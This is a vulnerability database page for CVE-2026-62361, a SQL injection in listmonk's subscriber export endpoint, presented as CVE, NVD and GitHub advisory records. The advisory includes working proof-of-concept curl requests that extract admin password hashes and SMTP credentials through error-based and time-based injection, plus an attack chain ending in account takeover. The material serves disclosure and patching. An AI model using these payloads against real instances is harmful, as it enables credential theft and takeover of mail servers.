Vulnerability-Lookup

CVE-2026-62361 (GCVE-0-2026-62361)

Vulnerability from cvelistv5 – Published: 2026-07-15 20:56 – Updated: 2026-07-16 15:12

Title

listmonk: SQL Injection in `/api/subscribers/export` bypasses table access control, leaking admin password hashes and SMTP credentials

Summary

listmonk is a standalone, self-hosted, newsletter and mailing list manager. Prior to 6.2.0, listmonk’s GET /api/subscribers/export endpoint injects the user-controlled query parameter into QuerySubscribersForExport in internal/core/subscribers.go without calling validateQueryTables, unlike GET /api/subscribers, allowing an authenticated user with subscribers:sql_query and subscribers:get_all to read arbitrary database tables such as users and settings and execute data-modifying PostgreSQL CTEs. This issue is fixed in version 6.2.0.

Severity

5.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-16 14:49 UTC

CWE

CWE-89 - Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7993 records in the last 180 days details

References

3 references

URL	Tags
https://github.com/knadh/listmonk/security/adviso…	x_refsource_CONFIRM
https://github.com/knadh/listmonk/commit/c0a65250…	x_refsource_MISC
https://github.com/knadh/listmonk/releases/tag/v6.2.0	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
knadh	listmonk	Affected: < 6.2.0	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-62361",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-16T14:49:09.062685Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-16T15:12:24.544Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/knadh/listmonk/security/advisories/GHSA-xgjr-7j9q-2h4r"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "listmonk",
          "vendor": "knadh",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 6.2.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "listmonk is a standalone, self-hosted, newsletter and mailing list manager. Prior to 6.2.0, listmonk\u2019s GET /api/subscribers/export endpoint injects the user-controlled query parameter into QuerySubscribersForExport in internal/core/subscribers.go without calling validateQueryTables, unlike GET /api/subscribers, allowing an authenticated user with subscribers:sql_query and subscribers:get_all to read arbitrary database tables such as users and settings and execute data-modifying PostgreSQL CTEs. This issue is fixed in version 6.2.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "LOW",
            "privilegesRequired": "HIGH",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-89",
              "description": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command (\u0027SQL Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-15T20:56:45.832Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/knadh/listmonk/security/advisories/GHSA-xgjr-7j9q-2h4r",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/knadh/listmonk/security/advisories/GHSA-xgjr-7j9q-2h4r"
        },
        {
          "name": "https://github.com/knadh/listmonk/commit/c0a6525009a65265230185f16e8674dcc83aa024",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/knadh/listmonk/commit/c0a6525009a65265230185f16e8674dcc83aa024"
        },
        {
          "name": "https://github.com/knadh/listmonk/releases/tag/v6.2.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/knadh/listmonk/releases/tag/v6.2.0"
        }
      ],
      "source": {
        "advisory": "GHSA-xgjr-7j9q-2h4r",
        "discovery": "UNKNOWN"
      },
      "title": "listmonk: SQL Injection in `/api/subscribers/export` bypasses table access control, leaking admin password hashes and SMTP credentials"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-62361",
    "datePublished": "2026-07-15T20:56:45.832Z",
    "dateReserved": "2026-07-13T22:04:59.677Z",
    "dateUpdated": "2026-07-16T15:12:24.544Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-62361",
      "date": "2026-11-07",
      "epss": "0.00297",
      "percentile": "0.22473"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "listmonk",
                "vendor": "knadh",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c 6.2.0"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "listmonk is a standalone, self-hosted, newsletter and mailing list manager. Prior to 6.2.0, listmonk\u2019s GET /api/subscribers/export endpoint injects the user-controlled query parameter into QuerySubscribersForExport in internal/core/subscribers.go without calling validateQueryTables, unlike GET /api/subscribers, allowing an authenticated user with subscribers:sql_query and subscribers:get_all to read arbitrary database tables such as users and settings and execute data-modifying PostgreSQL CTEs. This issue is fixed in version 6.2.0."
          },
          {
            "lang": "es",
            "value": "listmonk es un gestor de boletines y listas de correo aut\u00f3nomo y autoalojado. Antes de la versi\u00f3n 6.2.0, el endpoint GET /api/subscribers/export de listmonk inyecta el par\u00e1metro de consulta controlado por el usuario en QuerySubscribersForExport en internal/core/subscribers.go sin llamar a validateQueryTables, a diferencia de GET /api/subscribers, permitiendo a un usuario autenticado con subscribers:sql_query y subscribers:get_all leer tablas de base de datos arbitrarias como users y settings y ejecutar CTEs de PostgreSQL que modifican datos. Este problema se ha solucionado en la versi\u00f3n 6.2.0."
          }
        ],
        "id": "CVE-2026-62361",
        "lastModified": "2026-10-24T21:10:00.130",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 5.5,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "LOW",
                "privilegesRequired": "HIGH",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 1.2,
              "impactScore": 4.2,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-62361",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-16T14:49:09.062685Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-07-15T21:16:55.933",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/knadh/listmonk/commit/c0a6525009a65265230185f16e8674dcc83aa024"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/knadh/listmonk/releases/tag/v6.2.0"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/knadh/listmonk/security/advisories/GHSA-xgjr-7j9q-2h4r"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "url": "https://github.com/knadh/listmonk/security/advisories/GHSA-xgjr-7j9q-2h4r"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Deferred",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-89"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-62361",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-07-16T14:49:09.062685Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-07-16T14:49:16.624Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/knadh/listmonk/security/advisories/GHSA-xgjr-7j9q-2h4r"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "listmonk",
              "vendor": "knadh",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 6.2.0"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "listmonk is a standalone, self-hosted, newsletter and mailing list manager. Prior to 6.2.0, listmonk\u2019s GET /api/subscribers/export endpoint injects the user-controlled query parameter into QuerySubscribersForExport in internal/core/subscribers.go without calling validateQueryTables, unlike GET /api/subscribers, allowing an authenticated user with subscribers:sql_query and subscribers:get_all to read arbitrary database tables such as users and settings and execute data-modifying PostgreSQL CTEs. This issue is fixed in version 6.2.0."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 5.5,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "LOW",
                "privilegesRequired": "HIGH",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-89",
                  "description": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command (\u0027SQL Injection\u0027)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-07-15T20:56:45.832Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/knadh/listmonk/security/advisories/GHSA-xgjr-7j9q-2h4r",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/knadh/listmonk/security/advisories/GHSA-xgjr-7j9q-2h4r"
            },
            {
              "name": "https://github.com/knadh/listmonk/commit/c0a6525009a65265230185f16e8674dcc83aa024",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/knadh/listmonk/commit/c0a6525009a65265230185f16e8674dcc83aa024"
            },
            {
              "name": "https://github.com/knadh/listmonk/releases/tag/v6.2.0",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/knadh/listmonk/releases/tag/v6.2.0"
            }
          ],
          "source": {
            "advisory": "GHSA-xgjr-7j9q-2h4r",
            "discovery": "UNKNOWN"
          },
          "title": "listmonk: SQL Injection in `/api/subscribers/export` bypasses table access control, leaking admin password hashes and SMTP credentials"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-62361",
        "datePublished": "2026-07-15T20:56:45.832Z",
        "dateReserved": "2026-07-13T22:04:59.677Z",
        "dateUpdated": "2026-07-16T15:12:24.544Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-62361

Vulnerability from fkie_nvd - Published: 2026-07-15 21:16 - Updated: 2026-10-24 21:10

Severity

5.5 (Medium) - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/knadh/listmonk/commit/c0a6525009a65265230185f16e8674dcc83aa024
	security-advisories@github.com	https://github.com/knadh/listmonk/releases/tag/v6.2.0
	security-advisories@github.com	https://github.com/knadh/listmonk/security/advisories/GHSA-xgjr-7j9q-2h4r
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/knadh/listmonk/security/advisories/GHSA-xgjr-7j9q-2h4r

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "listmonk",
          "vendor": "knadh",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 6.2.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "listmonk is a standalone, self-hosted, newsletter and mailing list manager. Prior to 6.2.0, listmonk\u2019s GET /api/subscribers/export endpoint injects the user-controlled query parameter into QuerySubscribersForExport in internal/core/subscribers.go without calling validateQueryTables, unlike GET /api/subscribers, allowing an authenticated user with subscribers:sql_query and subscribers:get_all to read arbitrary database tables such as users and settings and execute data-modifying PostgreSQL CTEs. This issue is fixed in version 6.2.0."
    },
    {
      "lang": "es",
      "value": "listmonk es un gestor de boletines y listas de correo aut\u00f3nomo y autoalojado. Antes de la versi\u00f3n 6.2.0, el endpoint GET /api/subscribers/export de listmonk inyecta el par\u00e1metro de consulta controlado por el usuario en QuerySubscribersForExport en internal/core/subscribers.go sin llamar a validateQueryTables, a diferencia de GET /api/subscribers, permitiendo a un usuario autenticado con subscribers:sql_query y subscribers:get_all leer tablas de base de datos arbitrarias como users y settings y ejecutar CTEs de PostgreSQL que modifican datos. Este problema se ha solucionado en la versi\u00f3n 6.2.0."
    }
  ],
  "id": "CVE-2026-62361",
  "lastModified": "2026-10-24T21:10:00.130",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 5.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "LOW",
          "privilegesRequired": "HIGH",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 1.2,
        "impactScore": 4.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-62361",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-16T14:49:09.062685Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-15T21:16:55.933",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/knadh/listmonk/commit/c0a6525009a65265230185f16e8674dcc83aa024"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/knadh/listmonk/releases/tag/v6.2.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/knadh/listmonk/security/advisories/GHSA-xgjr-7j9q-2h4r"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/knadh/listmonk/security/advisories/GHSA-xgjr-7j9q-2h4r"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-89"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-XGJR-7J9Q-2H4R

Vulnerability from github – Published: 2026-11-06 18:15 – Updated: 2026-11-06 18:15

Summary

listmonk: SQL Injection in `/api/subscribers/export` bypasses table access control, leaking admin password hashes and SMTP credentials

Details

Summary

A SQL injection vulnerability in GET /api/subscribers/export allows an authenticated user with the subscribers:sql_query permission to bypass the table access control that exists on the regular query endpoint (GET /api/subscribers) and read arbitrary tables from the database — including users (bcrypt password hashes) and settings (SMTP credentials, API keys). Both error-based and time-based exfiltration techniques are confirmed to work. This creates a privilege escalation path: subscribers:sql_query → hash exfiltration → offline bcrypt crack (cost factor 6) → Super Admin account takeover.

Details

The subscriber query feature accepts a user-controlled query parameter that is injected directly into a SQL template via strings.ReplaceAll. The regular query endpoint GET /api/subscribers correctly calls validateQueryTables to block access to sensitive tables before execution. The export endpoint GET /api/subscribers/export omits this call entirely, creating an asymmetric bypass of an intentional security control.

internal/core/subscribers.go — protected path (regular query):

// QuerySubscribers — table validation present
stmt := strings.ReplaceAll(c.q.QuerySubscribersTpl, "%query%", cond)
if err := validateQueryTables(c.db, stmt, allowedSubQueryTables); err != nil {
    return nil, 0, echo.NewHTTPError(http.StatusBadRequest,
        fmt.Sprintf("Error preparing subscriber query: %v", err))
}

internal/core/subscribers.go — vulnerable path (export):

// ExportSubscribers — NO table validation
stmt := strings.ReplaceAll(c.q.QuerySubscribersForExport, "%query%", cond)
tx, err := c.db.Preparex(stmt)  // executes directly without restriction

queries/subscribers.sql — the %query% placeholder is injected into a WHERE clause:

SELECT subscribers.id, subscribers.email, ...
FROM subscribers
LEFT JOIN subscriber_lists ON ...
WHERE (subscribers.status != 'blocklisted') AND %query%
ORDER BY subscribers.id ASC LIMIT ...

Because the export path does not run inside a ReadOnly transaction (unlike the dry-run used in QuerySubscribers), PostgreSQL CTEs with data-modifying statements (WITH ... UPDATE ... RETURNING) are also executable, enabling write operations beyond read-only exfiltration.

PoC

Prerequisites: Authenticated session with subscribers:sql_query and subscribers:get_all permissions.

Step 1 — Confirm the bypass (blocked on query, open on export):

# Blocked on regular endpoint:
curl -s "http://TARGET:9000/api/subscribers?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL" \
  -H "Cookie: session=SESSION_TOKEN"
# → HTTP 400: {"message":"Error preparing subscriber query: table 'users' is not allowed"}

# Bypassed on export endpoint:
curl -s "http://TARGET:9000/api/subscribers/export?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL" \
  -H "Cookie: session=SESSION_TOKEN"
# → HTTP 200: returns subscriber rows with no error

Step 2 — Error-based exfiltration of admin password hash:

curl -s "http://TARGET:9000/api/subscribers/export?\
query=CAST((SELECT+password+FROM+users+LIMIT+1)+AS+integer)+>+0" \
  -H "Cookie: session=SESSION_TOKEN"

Response:

{
  "message": "Error fetching Subscribers: pq: invalid input syntax for type integer: \"$2a$06$vI8n66eJwWCQDms5d47up.TmBYUsxRF13sw8efTh8TCyMQVLX2cn.\""
}

Step 3 — Error-based exfiltration of SMTP credentials:

curl -s "http://TARGET:9000/api/subscribers/export?\
query=CAST((SELECT+value::text+FROM+settings+WHERE+key='smtp'+LIMIT+1)+AS+integer)+>+0" \
  -H "Cookie: session=SESSION_TOKEN"

Response:

{
  "message": "Error fetching Subscribers: pq: invalid input syntax for type integer: \"[{\"host\": \"smtp.yoursite.com\", \"port\": 25, \"enabled\": true, \"password\": \"...\", \"username\": \"...\"}]\""
}

Step 4 — Time-based blind confirmation:

time curl -s "http://TARGET:9000/api/subscribers/export?query=pg_sleep(3)+IS+NOT+NULL" \
  -H "Cookie: session=SESSION_TOKEN"
# Returns after ~3 seconds — confirms arbitrary SQL function execution

Impact

This is a SQL injection vulnerability that bypasses an intentional security control. Any user with the subscribers:sql_query permission can:

Read bcrypt password hashes of all admin accounts (including Super Admin)
Extract SMTP credentials, API keys, and all values stored in the settings table
Chain with offline bcrypt cracking (cost factor 6, fast to crack) for full account takeover
Execute data-modifying SQL via PostgreSQL CTEs (write impact)

Attack chain: subscribers:sql_query → SQLi on export → bcrypt hash exfiltration → offline crack → Super Admin takeover → full instance compromise.

This finding is distinct from the accepted risk in listmonk's security policy ("SQL injection via subscriber query is a known limitation"). The regular query endpoint correctly applies validateQueryTables to prevent access to sensitive tables. The export endpoint is missing that same guard — this is an implementation gap in a deliberate security control, not an accepted design limitation.

Severity

5.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/knadh/listmonk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.1-0.20260619102436-c0a6525009a6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-62361"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-06T18:15:17Z",
    "nvd_published_at": "2026-07-15T21:16:55Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nA SQL injection vulnerability in `GET /api/subscribers/export` allows an authenticated user with the `subscribers:sql_query` permission to bypass the table access control that exists on the regular query endpoint (`GET /api/subscribers`) and read arbitrary tables from the database \u2014 including `users` (bcrypt password hashes) and `settings` (SMTP credentials, API keys). Both error-based and time-based exfiltration techniques are confirmed to work. This creates a privilege escalation path: `subscribers:sql_query` \u2192 hash exfiltration \u2192 offline bcrypt crack (cost factor 6) \u2192 Super Admin account takeover.\n\n---\n\n### Details\n\nThe subscriber query feature accepts a user-controlled `query` parameter that is injected directly into a SQL template via `strings.ReplaceAll`. The regular query endpoint `GET /api/subscribers` correctly calls `validateQueryTables` to block access to sensitive tables before execution. The export endpoint `GET /api/subscribers/export` **omits this call entirely**, creating an asymmetric bypass of an intentional security control.\n\n**`internal/core/subscribers.go` \u2014 protected path (regular query):**\n\n```go\n// QuerySubscribers \u2014 table validation present\nstmt := strings.ReplaceAll(c.q.QuerySubscribersTpl, \"%query%\", cond)\nif err := validateQueryTables(c.db, stmt, allowedSubQueryTables); err != nil {\n    return nil, 0, echo.NewHTTPError(http.StatusBadRequest,\n        fmt.Sprintf(\"Error preparing subscriber query: %v\", err))\n}\n```\n\n**`internal/core/subscribers.go` \u2014 vulnerable path (export):**\n\n```go\n// ExportSubscribers \u2014 NO table validation\nstmt := strings.ReplaceAll(c.q.QuerySubscribersForExport, \"%query%\", cond)\ntx, err := c.db.Preparex(stmt)  // executes directly without restriction\n```\n\n**`queries/subscribers.sql` \u2014 the `%query%` placeholder is injected into a WHERE clause:**\n\n```sql\nSELECT subscribers.id, subscribers.email, ...\nFROM subscribers\nLEFT JOIN subscriber_lists ON ...\nWHERE (subscribers.status != \u0027blocklisted\u0027) AND %query%\nORDER BY subscribers.id ASC LIMIT ...\n```\n\nBecause the export path does not run inside a `ReadOnly` transaction (unlike the dry-run used in `QuerySubscribers`), PostgreSQL CTEs with data-modifying statements (`WITH ... UPDATE ... RETURNING`) are also executable, enabling write operations beyond read-only exfiltration.\n\n---\n\n### PoC\n\n**Prerequisites:** Authenticated session with `subscribers:sql_query` and `subscribers:get_all` permissions.\n\n**Step 1 \u2014 Confirm the bypass (blocked on query, open on export):**\n\n```bash\n# Blocked on regular endpoint:\ncurl -s \"http://TARGET:9000/api/subscribers?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL\" \\\n  -H \"Cookie: session=SESSION_TOKEN\"\n# \u2192 HTTP 400: {\"message\":\"Error preparing subscriber query: table \u0027users\u0027 is not allowed\"}\n\n# Bypassed on export endpoint:\ncurl -s \"http://TARGET:9000/api/subscribers/export?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL\" \\\n  -H \"Cookie: session=SESSION_TOKEN\"\n# \u2192 HTTP 200: returns subscriber rows with no error\n```\n\n**Step 2 \u2014 Error-based exfiltration of admin password hash:**\n\n```bash\ncurl -s \"http://TARGET:9000/api/subscribers/export?\\\nquery=CAST((SELECT+password+FROM+users+LIMIT+1)+AS+integer)+\u003e+0\" \\\n  -H \"Cookie: session=SESSION_TOKEN\"\n```\n\nResponse:\n```json\n{\n  \"message\": \"Error fetching Subscribers: pq: invalid input syntax for type integer: \\\"$2a$06$vI8n66eJwWCQDms5d47up.TmBYUsxRF13sw8efTh8TCyMQVLX2cn.\\\"\"\n}\n```\n\n**Step 3 \u2014 Error-based exfiltration of SMTP credentials:**\n\n```bash\ncurl -s \"http://TARGET:9000/api/subscribers/export?\\\nquery=CAST((SELECT+value::text+FROM+settings+WHERE+key=\u0027smtp\u0027+LIMIT+1)+AS+integer)+\u003e+0\" \\\n  -H \"Cookie: session=SESSION_TOKEN\"\n```\n\nResponse:\n```json\n{\n  \"message\": \"Error fetching Subscribers: pq: invalid input syntax for type integer: \\\"[{\\\"host\\\": \\\"smtp.yoursite.com\\\", \\\"port\\\": 25, \\\"enabled\\\": true, \\\"password\\\": \\\"...\\\", \\\"username\\\": \\\"...\\\"}]\\\"\"\n}\n```\n\n**Step 4 \u2014 Time-based blind confirmation:**\n\n```bash\ntime curl -s \"http://TARGET:9000/api/subscribers/export?query=pg_sleep(3)+IS+NOT+NULL\" \\\n  -H \"Cookie: session=SESSION_TOKEN\"\n# Returns after ~3 seconds \u2014 confirms arbitrary SQL function execution\n```\n\n---\n\n### Impact\n\nThis is a SQL injection vulnerability that bypasses an intentional security control. Any user with the `subscribers:sql_query` permission can:\n\n- Read bcrypt password hashes of all admin accounts (including Super Admin)\n- Extract SMTP credentials, API keys, and all values stored in the `settings` table\n- Chain with offline bcrypt cracking (cost factor 6, fast to crack) for full account takeover\n- Execute data-modifying SQL via PostgreSQL CTEs (write impact)\n\n**Attack chain:** `subscribers:sql_query` \u2192 SQLi on export \u2192 bcrypt hash exfiltration \u2192 offline crack \u2192 Super Admin takeover \u2192 full instance compromise.\n\nThis finding is **distinct** from the accepted risk in listmonk\u0027s security policy (\"SQL injection via subscriber query is a known limitation\"). The regular query endpoint correctly applies `validateQueryTables` to prevent access to sensitive tables. The export endpoint is missing that same guard \u2014 this is an implementation gap in a deliberate security control, not an accepted design limitation.",
  "id": "GHSA-xgjr-7j9q-2h4r",
  "modified": "2026-11-06T18:15:17Z",
  "published": "2026-11-06T18:15:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/knadh/listmonk/security/advisories/GHSA-xgjr-7j9q-2h4r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62361"
    },
    {
      "type": "WEB",
      "url": "https://github.com/knadh/listmonk/commit/c0a6525009a65265230185f16e8674dcc83aa024"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/knadh/listmonk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/knadh/listmonk/releases/tag/v6.2.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "listmonk: SQL Injection in `/api/subscribers/export` bypasses table access control, leaking admin password hashes and SMTP credentials"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

